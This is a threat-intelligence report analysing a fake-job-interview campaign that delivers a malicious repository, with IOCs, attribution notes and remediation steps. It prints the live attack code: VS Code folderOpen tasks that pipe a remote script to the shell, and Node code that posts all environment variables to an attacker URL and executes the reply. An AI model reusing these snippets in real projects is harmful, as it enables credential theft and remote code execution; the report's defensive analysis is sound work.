The face was changed, yet the hand was known.

Executive Summary

A threat actor operating under the identity DLabs Hungary conducted a targeted recruitment campaign against a developer, using a fabricated CTO/team lead opportunity to deliver a malicious GitHub repository. The repository was shared during a live interview call - access was granted just long enough for the target to clone it - and the malware activated automatically the moment the folder was opened in Visual Studio Code.

The attack employed two parallel execution paths embedded in the repository: a VSCode workspace task that fired on folderOpen and fetched a remote shell script, and a poisoned package.json prepare hook that triggered a Node.js server exfiltrating the victim’s full environment variables on npm install. Both paths ultimately delivered the same obfuscated JavaScript beacon, which phones home to a Hetzner-hosted C2 every five seconds, dumps system metadata and all environment variables, and awaits a JavaScript payload for remote code execution via eval().

File-level hash analysis establishes direct artifact links to TP-2026-009 and to three earlier campaigns in this series. Eight server-side files - the complete Node.js attack chain - are byte-for-byte identical to TP-2026-009 (Dravion-Core, 2026-04-13). The .env.local credential harvesting template matches TP-2026-002, TP-2026-004, and TP-2026-009. The delivery package.json matches TP-2026-001, TP-2026-004, and TP-2026-009. The C2 at 88.99.241[.]111:1224 was confirmed active in TP-2026-009 on 2026-04-03 and remains active at the time of this investigation - thirteen days of continuous operation. The operator has again rotated the lure identity and Vercel delivery domains while reusing the entire malware toolkit without modification.

The targeting profile - Web3 developer, senior role, live technical interview, repository as task - is consistent with the Contagious Interview cluster, attributed with low-to-medium confidence to DPRK-linked actors. Based on the cross-campaign artifact chain documented here, and the persistence of the okada0209 / lovelysong0209+2@gmail.com development persona across multiple related repositories, attribution confidence is assessed at Medium-High in this report.


Attack Overview

Initial Contact

The target was approached on LinkedIn with a CTO/team lead opportunity at a company presenting as DLabs Hungary, a purported Web3/blockchain startup. The campaign follows an established playbook: a credible job offer, a Calendly-scheduled interview, and a Figma design prototype shared during the call to establish legitimacy.

The email address used for scheduling was petermolnar813@gmail.com. The GitHub repository invitation was sent from the account @CodeBlock73, granting access to DLabsHungary-Hub2/DLabs-Platform-MVP2. The private repository was framed as an existing platform codebase the candidate would be leading - framing that makes cloning and running the code feel like a natural part of the interview process.

Repository access was revoked immediately after the call. By the time the target would think to revisit the code, the lure was gone.

Kill Chain

Both execution paths originate from .vscode/tasks.json and fire simultaneously on folder open when VS Code automatic task execution is enabled.

Path 1 - env task, pipe-to-shell via Vercel

  1. VS Code fires the env task silently on folder open (runOn: folderOpen). Terminal closes immediately (close: true), leaving no visible trace.
  2. Task executes an OS-specific pipe-to-shell command against vscode-settings-tasks-j227.vercel.app/api/settings/linux. The delivery URL is pushed approximately 200 characters off-screen by horizontal whitespace in the raw file.
  3. Stage 2 loader prints Authenticated (misdirection), downloads Stage 3 bootstrap via nohup.
  4. Stage 3 (bootstraplinux) installs portable Node.js if absent, fingerprints the victim workspace, downloads env-setup.js and package.json to ~/.vscode/, runs npm install, executes Stage 5 beacon.

Path 2 - install-root-modules task, npm prepare hook

  1. VS Code fires install-root-modules silently in parallel with Path 1.
  2. Silent npm install --silent --no-progress triggers prepare hook: node server/server.js.
  3. server.js calls loadEnv(), merging .env and .env.local into process.env. AUTH_API - a base64-encoded Vercel C2 URL - is now in process.env.
  4. server.js calls configureRoutes(app). routes/index.js executes require('./api/auth'), loading routes/api/auth.js at module load - before any HTTP request or visible output.
  5. validateApiKey() fires at module load, POSTing full process.env to the Vercel IP-check gate with x-app-request: ip-check campaign fingerprint.
  6. C2 response body executed via new Function("require", response.data)(require) - Stage 5 beacon delivered in-memory with full Node.js module access.

Path 2 remains fully functional as a standalone fallback when VS Code automatic task execution is disabled: any manual npm command (npm install, npm start, npm run build, npm test, npm run eject) triggers the same chain independently.


Technical Analysis

.vscode/tasks.json - Dual Auto-Execution Origin

SHA256: a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef

Both tasks share runOptions.runOn: "folderOpen" and suppressed presentation options (reveal: silent, echo: false, panel: new). They fire in parallel on the same folder open event.

Task 1: env - Path 1 pipe-to-shell delivery

{
  "label": "env",
  "linux":   { "command": "wget -qO- 'https://vscode-settings-tasks-j227.vercel.app/api/settings/linux' | sh" },
  "osx":     { "command": "curl -L 'https://vscode-settings-tasks-j227.vercel.app/api/settings/mac' | bash" },
  "windows": { "command": "curl --ssl-no-revoke -L https://vscode-settings-tasks-j227.vercel.app/api/settings/windows | cmd" },
  "runOptions": { "runOn": "folderOpen" },
  "presentation": { "reveal": "silent", "echo": false, "close": true }
}

Each platform key contains approximately 200 characters of horizontal whitespace before the command string, pushing the delivery URL entirely off-screen in the default VS Code editor viewport - a technique consistently observed across the Contagious Interview cluster. The close: true option causes the terminal to close immediately, leaving no visible trace of execution. The task label "env" and URL path structure (/api/settings/{mac,linux,windows,bootstraplinux,env,package}) are consistent across all prior campaigns - infrastructure rotated, routes did not.

Task 2: install-root-modules - Path 2 auto-trigger

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": { "runOn": "folderOpen" },
  "presentation": { "reveal": "silent", "echo": false }
}

Unlike the env task, this does not set close: true - on an instrumented machine, the silent terminal panel remains present as an observable artifact.

package.json - Path 2 Entry Points

SHA256: 2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365 (matches TP-2026-001 Softstack-Platform-MVP2, TP-2026-009)

"scripts": {
  "prepare": "node server/server.js",
  "start":   "node server/server.js | react-scripts --openssl-legacy-provider start",
  "build":   "node server/server.js | react-scripts --openssl-legacy-provider build",
  "test":    "node server/server.js | react-scripts --openssl-legacy-provider test",
  "eject":   "node server/server.js | react-scripts --openssl-legacy-provider eject"
}

Five independent npm entry points all route through node server/server.js. Every standard developer workflow command triggers Path 2 independently of VS Code.

server/server.js - Clean Launcher

SHA256: a9db9559a1e97762d0e72715301329bc325d08e239a29e1382e99033ede986de (matches TP-2026-009)

A legitimate Express application. It executes two key operations at startup: require("./config/loadEnv")() and configureRoutes(app). The malware piggybacks on the legitimate application startup sequence. server.js itself contains no malicious logic, providing plausible deniability during casual code review.

server/config/loadEnv.js - Environment Merger

SHA256: c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2 (matches TP-2026-009)

function loadEnv() {
    dotenv.config();                      
    dotenv.config({ path: ".env.local" });
}

Merges both environment files into process.env before any route executes. Naming is visually indistinguishable from standard dotenv initialisation. Two files serve distinct roles:

  • .env (SHA256: dfb133f6...) contains AUTH_API, a base64-encoded Vercel C2 URL concealed among legitimate backend configuration variables. atob() decodes it only at runtime.
  • .env.local (SHA256: 37eb8e11...) is the shared credential harvesting template, byte-for-byte identical across TP-2026-002, TP-2026-004, and TP-2026-009. It seeds process.env with credential variable names across Web3, crypto, AWS, and SaaS stacks.

server/routes/index.js - Route Registration

SHA256: a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf (matches TP-2026-009)

const configureRoutes = (app) => {
  app.use('/api/auth', require('./api/auth'));
  app.use('/api/users', require('./api/users'));
  app.use('/api/chips', require('./api/chips'));
  app.use('/', (req, res) => { res.status(200).send('GGLab API Documents'); });
};

routes/index.js is itself clean. Its role in the attack chain is that require('./api/auth') causes Node.js to evaluate server/routes/api/auth.js at module load - before any HTTP request arrives, before any route handler is invoked, and before any output is visible to the victim.

server/routes/api/auth.js - Primary Malware File

SHA256: 28e73ce85db813ba0839ee077428eaa121037e3a1ec8a13b1171e68cc2a0accd (matches TP-2026-009)

validateApiKey() is called at module load - not inside a route handler:

const { getCurrentUser, login, setApiKey, verify } = require('../../controllers/auth');

const verified = validateApiKey(); // fires at require() time, before any HTTP request

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully."); // social engineering cover
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
}

validateApiKey() executes the full attack sequence: decodes the base64 C2 URL, POSTs the full process.env, and executes the response via new Function(). The console.log("API Key verified successfully.") output provides social engineering cover, appearing as a routine validation step in any terminal output the victim might observe. The new Function("require", response.data)(require) delivery primitive is consistent across TP-2026-001, TP-2026-002, TP-2026-004, and TP-2026-009.

server/controllers/auth.js - Utility Exports

SHA256: cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fce (matches TP-2026-009)

const setApiKey = (s) => atob(s);  // base64 decode AUTH_API at runtime

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }  // campaign fingerprint header
  });

verify spreads the entire process.env object as the request body. The x-app-request: ip-check campaign fingerprint header is present across TP-2026-001, TP-2026-004, TP-2026-009, and TP-2026-010.

The login() function contains const isMatch = true hardcoded - all password verification is bypassed. The authentication logic is entirely decorative, providing plausible cover during code review.

Stage 1b: Vercel IP-Check Gate (ip-checking-notification-j2.vercel.app)

The AUTH_API value decodes to https://ip-checking-notification-j2.vercel.app/api. This endpoint acts as an IP/VPN probe gate before delivering the payload. A request with an empty body returns:

{
  "status": "OK",
  "message": "Public API response",
  "client": {
    "ipAddress": "...",
    "vpnDetected": false,
    "note": "Connection appears normal. For best performance, avoid VPNs or anonymized routes."
  }
}

The note advising against VPNs is deliberate social engineering - the operator wants the victim’s real IP before delivering Stage 5. When the POST body includes a populated process.env, the endpoint returns the obfuscated Stage 5 beacon for execution via new Function().

Stage 3: Persistence Installer (bootstraplinux)

bootstraplinux is an installer and persistence script. In sequence:

  1. Ensures Node.js is available - downloads portable v20 from nodejs.org to ~/.vscode/ if absent, broadening the victim pool to machines without an existing Node environment.
  2. Writes the VSCode workspace folder name to ~/.vscode/<foldername>.txt - a victim source-tracking artifact that identifies which lure repository triggered the compromise.
  3. Downloads env-setup.js and package.json to ~/.vscode/, runs npm install (axios, request), executes env-setup.js as Stage 5.

All artifacts land in ~/.vscode/ - present on any VS Code user’s machine and not commonly monitored as a persistence location. The package.json start script references node env.npl; the .npl extension is non-standard, evading file-type based detections.

Stage 5: Obfuscated Node.js Beacon (env-setup.js / env.npl)

SHA256 (env-setup.js / Path 1): 589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359 SHA256 (in-memory / Path 2): ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752f

The payload delivered by both paths is functionally identical - the same obfuscated beacon served from two delivery routes. The payload uses array-based string obfuscation with a custom base64 decoder, double encoding on core strings, and active anti-debug countermeasures: two regex-based checks detect debugger attachment and function serialisation inspection; on trigger, the payload enters while(true){} preventing analysis without process termination.

Host profiling (sent in every beacon):

hostname: os.hostname()
macs:     networkInterfaces filtered for non-loopback MACs
          (family=IPv4, internal=false, mac00:00:00:00:00:00)
os:       os.type() + os.release() + '(' + os.platform() + ')'

MAC filtering explicitly removes the loopback address, ensuring only real physical interfaces are reported for persistent victim identification across sessions.

Beacon (every 5 seconds via setInterval(..., 0x1388)):

GET http://88.99.241[.]111:1224/api/checkStatus
  ?sysInfo=JSON.stringify(hostProfile)
  &processInfo=JSON.stringify(process.env)
  &tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=
  &sysId=<victim_id>

The tid parameter decodes to "now it time to get everything" - identical to TP-2026-009. sysId starts at 0 and is replaced with a C2-assigned persistent identifier after first contact, enabling per-victim tracking across sessions.

RCE activation: if ("error" === response.status) { eval(response.message) }. The activation keyword is "error" - not "ok" or "success". This is deliberate evasion: the same string constant 0x181 is used for console.error() throughout the payload, making the eval branch appear to be an error handler to static analysis tools and human reviewers alike. At time of capture the C2 returned {"status":"ok","message":"server connected"} - lowercase "ok" does not match "error", confirming standby mode. The operator activates victims by sending {"status":"error","message":"<arbitrary JS>","sysId":"<victim_id>"}.

The C2 server identifies itself as Express (X-Powered-By: Express) and communicates over plain HTTP - all beacon traffic, including full environment variable dumps, is transmitted in cleartext.


Environment Collection and Exposure

Two independent mechanisms capture the victim’s runtime environment:

  1. routes/api/auth.js validateApiKey() - POSTs {...process.env} to the Vercel IP-check gate at module load, before any output is visible.
  2. Stage 5 beacon - transmits processInfo=JSON.stringify(process.env) alongside host profile to 88.99.241[.]111:1224 every 5 seconds.

The dummy placeholder values in the committed .env and .env.local files are largely irrelevant to the actual yield. A developer evaluating the repository is unlikely to replace demo API keys. The real value of {...process.env} is the victim’s live shell session environment: AWS CLI credentials, tokens set by other active tools, credentials exported by shell profiles, and any other variables already present. The .env template defines the operator’s target credential profile; the actual yield depends entirely on what the victim’s environment contains.

Beyond the initial dump, Stage 5 executes arbitrary code returned by the C2 via eval() - giving the operator full Node.js access to the victim machine for any targeted follow-on collection not captured in the initial sweep.


Eight server-side files are byte-for-byte identical to TP-2026-009 (Dravion-Core, 2026-04-13). Three additionally match earlier campaigns. The operator has rotated the lure identity and Vercel delivery domains without modifying the malware toolkit.

ArtifactSHA256Also confirmed in
.env.local37eb8e11...b27eadTP-2026-002, TP-2026-004, TP-2026-009 - shared credential template across four campaigns
package.json (lure root)2f65e39d...0f365TP-2026-001 (Softstack-Platform-MVP2), TP-2026-009
package.json (delivery)6effad9f...ccb3TP-2026-001, TP-2026-004, TP-2026-009 - reused across every domain rotation
server/routes/index.jsa9d8ea7c...264bTP-2026-009
server/routes/api/auth.js28e73ce8...accdTP-2026-009
server/controllers/auth.jscc9e4438...7fceTP-2026-009
server/server.jsa9db9559...6deTP-2026-009
server/config/loadEnv.jsc08356a5...4ed2TP-2026-009

Shared infrastructure and campaign indicators across the series:

IndicatorCampaigns
88.99.241[.]111:1224TP-2026-009 (confirmed 2026-04-03), TP-2026-010 (confirmed 2026-04-16) - 13+ days continuous
x-app-request: ip-checkTP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010
"now it time to get everything" (campaign tag)TP-2026-009, TP-2026-010
/api/settings/{linux,mac,windows,bootstraplinux,env,package}TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 - routes unchanged across all domain rotations
new Function("require", response.data)(require)TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010
AUTH_API base64 URL in .envTP-2026-004, TP-2026-009, TP-2026-010

Hub3 / Hub4 Repository Continuity

Follow-on repository review identified subsequent churn in the DLabsHungary naming pattern. The earlier DLabsHungary-Hub3/DLabs-Platform-MVP location referenced during the initial investigation is no longer accessible. A currently public repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, preserves the same overall project layout (.vscode, server, .env, .env.local, package.json) and continues the same operator-facing naming scheme.

The latest visible commits in the public Hub4 repository remain Update auth.js and Update server.js, both authored by CodeBlock150 on 2026-04-16. Based on archived evidence preserved during collection, no new commits or code-level changes were identified beyond organisation and repository naming churn. At present, this is better assessed as repository relocation or lure-identity maintenance than as a distinct new malware variant.

This continuity still has intelligence value. It extends the observable DLabsHungary repository chain, preserves the same weaponisation persona (CodeBlock150), and reinforces the pattern of rotating lure-facing identities while maintaining stable development-side anchors. However, absent new code, infrastructure, or behavioural differences, it should not be presented as a separate campaign stage.


MITRE ATT&CK Mapping

Technique IDNameTacticNotes
T1566.003Spearphishing via ServiceInitial AccessLinkedIn recruitment lure; Calendly scheduling
T1204.002User Execution: Malicious FileExecutionOpening repo in VSCode triggers tasks automatically
T1059.007JavaScriptExecutionnew Function() delivery; obfuscated Stage 5 beacon; eval() RCE
T1059.004Unix ShellExecutionStage 2 and Stage 3 shell scripts piped directly to sh
T1020Automated ExfiltrationExfiltrationFull process.env dump sent every 5 seconds
T1119Automated CollectionCollection{...process.env} sweep captures entire runtime environment in one operation
T1552.001Credentials in FilesCredential Access.env and .env.local loaded into process.env before exfil
T1027Obfuscated Files or InformationDefense EvasionArray-based string obfuscation; custom base64 decoder; anti-debug traps
T1140Deobfuscate/Decode Files or InformationDefense Evasionatob(process.env.AUTH_API) decodes Vercel URL; Buffer decode reveals Hetzner C2 URL within payload
T1036.008Masquerade File TypeDefense Evasion.npl extension on persistent JS implant
T1036.005Match Legitimate Name or LocationDefense EvasionloadEnv.js naming; AUTH_API key; install-root-modules label; ~/.vscode/ persistence dir
T1071.001Web ProtocolsC2Plain HTTP beacon to 88.99.241[.]111:1224 every 5s
T1041Exfiltration Over C2 ChannelExfiltrationprocess.env transmitted via both Vercel POST and Hetzner GET beacon
T1033System Owner/User DiscoveryDiscoveryHostname collected and transmitted in every beacon
T1016System Network Configuration DiscoveryDiscoveryNon-loopback MAC addresses enumerated for persistent victim identification
T1082System Information DiscoveryDiscoveryOS type, release, and platform collected in host profile

Infrastructure Analysis

Network Infrastructure

IndicatorTypeNotes
88.99.241[.]111IPv4C2 server, TCP/1224, plain HTTP; also in TP-2026-009
static.111.241.99.88.clients.your-server.dePTRHetzner reverse DNS - no custom PTR configured
vscode-settings-tasks-j227.vercel.appDomainStage 1/3/4/5 payload delivery
ip-checking-notification-j2.vercel.appDomainStage 1b IP-check gate and env exfil
64.29.17.131, 216.198.79.131IPv4Vercel edge - vscode-settings-tasks domain
64.29.17.3, 216.198.79.3IPv4Vercel edge - ip-checking-notification domain

C2 hosting: Hetzner Online GmbH, Datacenter fsn1-dc1 (Falkenstein, Germany), ASN AS24940. The C2 has been confirmed active across a 13-day window spanning two separate investigations.

C2 server fingerprint:

1224/tcp  open  http  Node.js Express framework      ← beacon endpoint
5985/tcp  open  http  Microsoft HTTPAPI httpd 2.0    ← WinRM (operator admin channel)
5357/tcp  open  http  Microsoft HTTPAPI httpd 2.0    ← WSDAPI (Windows Network Discovery)
OS: Windows (cpe:/o:microsoft:windows)

The server runs Windows - unusual for a Hetzner VPS where Linux predominates, and a distinctive fingerprint for infrastructure pivoting. Port 5985 is WinRM over plain HTTP, the operator’s likely administration channel. Port 5357 (WSDAPI) is a local network discovery service with no legitimate external exposure - consistent with a default Windows firewall configuration and minimal server hardening.

Infrastructure architecture: The operator separates concerns across two layers. A Vercel front-end (trusted domain, HTTPS, TLSv1.3) handles payload staging and initial credential collection; a raw-IP Hetzner C2 (plain HTTP, non-standard port 1224) handles beacon traffic and RCE delivery. This split makes the initial compromise difficult to detect via network monitoring - Vercel traffic blends with normal developer tooling. The Vercel domains rotate between campaigns; the Hetzner C2 does not.


Indicators of Compromise

All indicators assessed High confidence unless noted.

Network Indicators

IndicatorTypeConfidence
88.99.241[.]111IPv4 (C2)High
88.99.241[.]111:1224IP:Port (beacon)High
http://88.99.241[.]111:1224/api/checkStatusURLHigh
vscode-settings-tasks-j227.vercel.appDomainHigh
ip-checking-notification-j2.vercel.appDomainHigh
x-app-request: ip-checkHTTP header (campaign fingerprint)High
tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=URI parameterHigh
/api/checkStatusC2 URI pathHigh

File Indicators

SHA256FilenameNotes
a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef.vscode/tasks.jsonDual folderOpen tasks; ~200-char whitespace URL obfuscation
2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365package.jsonprepare hook trigger; matches TP-2026-001, TP-2026-009
a9db9559a1e97762d0e72715301329bc325d08e239a29e1382e99033ede986deserver/server.jsClean launcher; matches TP-2026-009
c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2server/config/loadEnv.jsEnv merger; matches TP-2026-009
a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacfserver/routes/index.jsrequire(’./api/auth’) triggers malicious load; matches TP-2026-009
28e73ce85db813ba0839ee077428eaa121037e3a1ec8a13b1171e68cc2a0accdserver/routes/api/auth.jsvalidateApiKey() RCE at require-time; matches TP-2026-009
cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fceserver/controllers/auth.jssetApiKey + verify exfil; matches TP-2026-009
dfb133f61f61a878cffd0289c7d4a020cdf3bd65d2ec3692ad20799014278772.envAUTH_API base64 C2 URL + credential categories
37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead.env.localShared credential template; matches TP-2026-002, TP-2026-004, TP-2026-009
ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752fStage 5 beacon (Path 2, in-memory)Obfuscated JS
589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359env-setup.js / Stage 5 (Path 1, on-disk)Obfuscated JS - identical logic to Path 2
26d88760f0c8c42b3c3b44aad01d10ef68d6476dd2bb7b6a8db1fada06b87a0fvscode-bootstrap.sh (Stage 3)Persistence installer
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3package.json (delivery, /api/settings/package)Implant deps; matches TP-2026-001, TP-2026-004, TP-2026-009

Repository and Identity Indicators

IndicatorTypeNotes
github.com/DLabsHungary-Hub2/DLabs-Platform-MVP2GitHub repoLure repository - access revoked post-call
DLabsHungary-Hub2GitHub orgLure org for TP-2026-010; sequential with Hub3
@CodeBlock73GitHub accountSent repository collaboration invite
petermolnar813@gmail.comEmailUsed for Calendly scheduling
https://www.figma.com/design/EIba2k23wq0irUWBDqlKDu/Web3-PlatformFigmaLegitimacy lure shared during call
github.com/DLabsHungary-Hub3/DLabs-Platform-MVPGitHub repoNext campaign repo - 2 commits ahead of Hub2; auth.js and server.js updated 2026-04-16T08:09 UTC
DLabsHungary-Hub3GitHub orgSequential: Hub2 → Hub3
CodeBlock150GitHub accountHub3 weaponisation persona - sequential: CodeBlock73 (Hub2) → CodeBlock150 (Hub3) → CodeBlock150 (Hub4)
petermolnar286@gmail.comEmailHub3 operator email - sequential: petermolnar813 (Hub2) → petermolnar286 (Hub3) → petermolnar286 (Hub4)
okada0209GitHub accountDevelopment persona - shared across TP-2026-009, TP-2026-010, Hub3 unchanged
lovelysong0209+2@gmail.comEmailDevelopment persona email - shared across TP-2026-009, TP-2026-010, Hub3, Hub4
167746537+DeAngDai354@users.noreply.github.comEmailInitial commit identity - shared with TP-2026-009 (Dravion-Core) and Hub3/4
github.com/DLabsHungary-Hub4/-DLabs-Platform-MVP2GitHub repoPublic follow-on repository observed after the earlier Hub3 location became unavailable; currently supports continuity assessment rather than a distinct new campaign
DLabsHungary-Hub4GitHub orgFollow-on DLabsHungary organisation in the observed naming chain

Code Pattern Indicators

PatternNotes
Two runOn: folderOpen tasks in .vscode/tasks.jsonDual auto-execution on folder open; fire in parallel
env task with close: trueTerminal closes immediately - no visible trace of Path 1
~200-char whitespace before command string in tasks.jsonURL pushed off-screen; evades casual file inspection
"prepare": "node server/server.js"npm lifecycle hook; triggers on any npm command
validateApiKey() called at module load in routes/api/auth.jsFires before any HTTP request or visible output
const setApiKey = (s) => atob(s)Base64 C2 URL decode - consistent across TP-2026-004, TP-2026-009, TP-2026-010
axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } })Full env exfil with campaign fingerprint
new Function("require", response.data)(require)C2 response with full Node.js module access - consistent across TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010
if ("error" === status) { eval(message) }RCE trigger - "error" masquerades as error handler; same constant used for console.error() throughout payload
sysId session handle assigned by C2Durable per-victim tracking across reconnects
*.npl executed by nodeNon-standard extension evading file-type detection
Beacon interval 5000ms (0x1388)Every 5s - consistent across TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010

Persistence Artefacts on Victim Machine

PathDescription
~/.vscode/vscode-bootstrap.shStage 3 installer (written by Stage 2)
~/.vscode/env-setup.jsStage 5 persistent beacon (written by bootstraplinux)
~/.vscode/package.jsonImplant dependencies manifest
~/.vscode/node_modules/axios + request
~/.vscode/<repo-name>.txtVictim source-tracking file
~/.vscode/env.nplJS beacon with disguised extension
~/.vscode/node-<ver>-linux-x64/Portable Node.js binary if not globally installed

Attribution Assessment

Assessed confidence: Medium-High

This report links directly to TP-2026-009 via eight byte-level file matches and shared C2 infrastructure. TP-2026-009 itself linked to TP-2026-001, TP-2026-002, and TP-2026-004 via file-level artifact continuity. The cross-campaign chain now spans five reports across approximately eight weeks, with the same C2 server continuously active.

Additional repository continuity has been observed within the DLabsHungary cluster. The earlier DLabsHungary-Hub3/DLabs-Platform-MVP repository referenced during the initial investigation is no longer publicly accessible, while a public successor repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, is currently visible. The public Hub4 commit history still shows CodeBlock150 performing the latest visible auth.js and server.js updates on 2026-04-16, and the repository preserves the same broad project structure observed in the lure used in this case. On the basis of archived evidence preserved during collection, no substantive new code-level change was identified beyond organisation and repository renaming. This is therefore assessed as continuity in operator infrastructure and persona use, not as a separate malware family or clearly distinct campaign phase.

lovelysong0209+2@gmail.com is the strongest attribution anchor in this series. The development persona okada0209/lovelysong0209+2@gmail.com is listed in the GitLab Threat Intelligence report on North Korean tradecraft (2026-02-19) as a confirmed DPRK malware distribution account. This identity is present unchanged across TP-2026-009, TP-2026-010, and Hub3 - three separate lure repositories across seven months. Combined with the file-level artifact chain across five ThreatProphet reports, this constitutes the strongest attribution basis documented in this series to date. Attribution is upgraded to Medium-High on this basis.

Observed identity pattern across repositories:

ObservationOrgLure-facing GitHub accountLure / contact emailInitial commit-linked identityRecurrent commit-linked identityLate-stage commit-linked / maintenance identity
TP-2026-001SoftstackLuckyKat1001brajan.intro@gmail.com--LuckyKat1001
TP-2026-009Intraverse-Dev-Tech-Hub-brajanjake@gmail.comIvan / 167746537+DeAngDai354@users.noreply.github.comokada0209 / lovelysong0209+2@gmail.comIntraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com
TP-2026-010DLabsHungary-Hub2CodeBlock73petermolnar813@gmail.comIvan / 167746537+DeAngDai354@users.noreply.github.comokada0209 / lovelysong0209+2@gmail.comCodeBlock73
Hub3 (archived continuity)DLabsHungary-Hub3CodeBlock150petermolnar286@gmail.comIvan / 167746537+DeAngDai354@users.noreply.github.comokada0209 / lovelysong0209+2@gmail.comCodeBlock150
Hub4 (public continuity)DLabsHungary-Hub4CodeBlock150---CodeBlock150

The identity pattern is more layered than a simple “invite account + dev persona” model. In TP-2026-009, the commit history shows at least three commit-linked identity layers: an initial commit identity (Ivan / 167746537+DeAngDai354@users.noreply.github.com), a recurrent middle layer (okada0209 / lovelysong0209+2@gmail.com), and a later repository maintenance / weaponisation layer (Intraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com). Later DLabsHungary repositories preserve the same broader pattern of rotating lure-facing identities while reusing recurrent commit-linked identities and repository structure. This is more consistent with a staged workflow or small operator team than with a single static persona.

TTP similarity and file-level artifact matches do not constitute confirmed attribution. Attribution should not be asserted beyond medium-high confidence without additional corroborating intelligence.

Relevant prior reporting:


Remediation

If You Ran the Code

Treat this as a confirmed credential compromise regardless of how the repository was used. Opening the folder in VS Code fires both tasks simultaneously. Either path alone is sufficient for full compromise. Running any npm command outside VS Code fires Path 2 identically.

  1. Isolate the machine from the network immediately.
  2. Preserve forensic evidence before remediation: process list, shell history, ~/.vscode/ contents, memory if possible.
  3. Kill the beacon: pkill -f env-setup.js && pkill -f vscode-bootstrap.sh
  4. Remove persistence artifacts: rm -rf ~/.vscode/env-setup.js ~/.vscode/vscode-bootstrap.sh ~/.vscode/package.json ~/.vscode/node_modules ~/.vscode/*.txt ~/.vscode/env.npl
  5. Rotate all credentials immediately - assume everything in .env, .env.local, and the live shell session is compromised: AWS IAM keys, OpenAI, Stripe, Coinbase Commerce, Alchemy, Infura, Pinata, Etherscan, Polygonscan, session signing secret. Do not reuse rotated credentials on the same machine until persistence is confirmed removed.
  6. Audit cloud provider logs (AWS CloudTrail, Stripe dashboard, OpenAI usage) for anomalous API activity from the moment the folder was opened - credential abuse may begin within seconds.
  7. Check for additional persistence: crontab -l && ls ~/Library/LaunchAgents/ 2>/dev/null
  8. Do not rely exclusively on AV/EDR. The payload executes as JavaScript within a legitimate Node.js process and is unlikely to be flagged by signature-based tooling.
  9. Reimage from a known-good backup once forensic preservation is complete.

Network-Level Detection

Block and alert on all outbound connections to 88.99.241[.]111, all ports, especially TCP/1224. Monitor for outbound POST requests to *.vercel.app/api carrying x-app-request: ip-check from Node.js processes. Alert on Node.js processes executing .npl files. Create IDS rules for plain HTTP outbound from Node.js processes to non-standard high ports.

Host-Level Hardening

  • Disable automatic VSCode task execution: Set task.allowAutomaticTasks to off in VS Code settings. This prevents both runOn: folderOpen tasks from firing silently. Note that Path 2 still fires if the victim subsequently runs any npm command.
  • Audit .vscode/tasks.json before opening any repository from an external source. Look for runOn: folderOpen and pipe-to-shell commands. Scroll horizontally in the raw file - malicious URLs may be pushed far off-screen by whitespace padding. Absence of a visible terminal is not evidence the task did not fire.
  • Audit prepare, postinstall, and preinstall scripts in package.json before running npm commands in unfamiliar projects.
  • Run interview code in an isolated VM or container with no real credentials in process.env, no mounted .env files, and filtered outbound egress. A sandboxed environment eliminates the value of this attack entirely.
  • Ensure .env.local files do not contain credentials that would cause material harm if exfiltrated. Prefer runtime secrets injection over file-based credential storage.

Appendix: Evidence Artifacts

Artifact IDFilenameSHA256
EX-001.vscode/tasks.jsona476338f...
EX-002package.json2f65e39d...
EX-003server/routes/index.jsa9d8ea7c...
EX-004server/routes/api/auth.js28e73ce8...
EX-005server/controllers/auth.jscc9e4438...
EX-006server/server.jsa9db9559...
EX-007server/config/loadEnv.jsc08356a5...
EX-008.envdfb133f6...
EX-009.env.local37eb8e11...
EX-010stage1b-auth-api-body-20260416T105439Z.jsee9f19e5...
EX-011stage2-bootstraplinux-body-20260416T105325Z.sh26d88760...
EX-012stage3a-env-setup-body-20260416T105931Z.js589d2ab8...
EX-013stage3b-implant-package-body-20260416T110009Z.json6effad9f...
EX-014c2-checkstatus-body-20260416T110044Z.jsonf862d253...
EX-015whois_88.99.241.111.txtb3dea28e...
EX-016dns_reverse_88.99.241.111.txt7e21ca29...
EX-017dns_vscode-settings-tasks-j227.txt22677137...
EX-018dns_ip-checking-notification-j2.txtc1b38711...
